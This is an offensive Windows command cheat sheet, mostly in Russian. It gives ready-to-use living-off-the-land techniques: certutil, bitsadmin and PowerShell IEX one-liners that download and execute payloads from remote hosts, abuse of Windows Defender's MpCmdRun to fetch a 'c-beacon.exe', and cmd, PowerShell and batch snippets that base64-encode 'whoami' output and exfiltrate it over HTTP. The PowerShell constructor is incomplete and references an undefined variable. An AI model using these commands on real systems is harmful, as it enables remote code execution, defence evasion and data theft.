Basic cmds Cheet Scheets

айпы команд

В powershell команды разделяются - ; в cmd -

&& - следующая команда выполняется, если предыдущая выполнилась успешно

& - последовательное выполнение команд

|| - вторая команда выполнится, если первая завершилась с ошибкой

Скачать файл удаленно (и исполнить)

# request 
certutil -urlcache -split -f http://192.168.1.2:443/a
bitsadmin /rawreturn /transfer down http://1.1.1.1/a.exe C:\windows\temp\a.exe

# exec script
powershell -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString(\"http://192.168.1.2:443/a.ps1\")"

# download file
certutil -urlcache -split -f http://192.168.1.2:443/a a.bin
powershell -exec Bypass -C "(New-Object Net.WebClient).DownloadFile(\"http://192.168.1.2:443/some.exe\", \"path\some.exe\")"

Скачать файл с помощью Windows Defender (не проверено):

C:\Users\SomeUser\Desktop>"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2008.9-0\MpCmdRun.exe" -DownloadFile -url https://myserver.live/c-beacon.exe -path c:\\users\\someuser\\Desktop\\c-beacon.exe

base64 for data

certutil -f -encodehex test_input.txt test_output.txt 0x40000001
-f - переписать вывод (чтобы не было ошибки, если файл уже существует)

CMD: Отправить результат команды через http

cd C:\\Users\\Public\\Downloads && whoami > test.txt && certutil -f -encodehex test.txt test_out.txt 0x40000001 && for /F %i in (test_out.txt) do set result=%i && certutil -urlcache -f -split "http://PA-User50/%result%"
# Powershell constructor:
$unsetResult = "set result= && "
$cdRootDir = "cd C:\Users\Public\Downloads && " 
$whoami = "whoami > test.txt && "
$base64 = "certutil -f -encodehex test.txt test_out.txt 0x40000001 && "
$setVarResult = "for /F %i in (test_out.txt) do set result=%i && "
$sendResult = "certutil -urlcache -f -split \"http://PA-User50/%result%\""
$cmd = $unsetResult + .. + $sendRequest

bat-ником

@echo off
set result=
cd C:\Users\Public\Downloads
whoami > test.txt
certutil -f -encodehex test.txt test_out.txt 0x40000001

for /F %%i in (test_out.txt) do (
	set result=%%i
)
echo "test"
certutil -urlcache -f -split "http://PA-User50/%result%"
exit

TODO: переделать команды со скринов ниже в текст

Last updated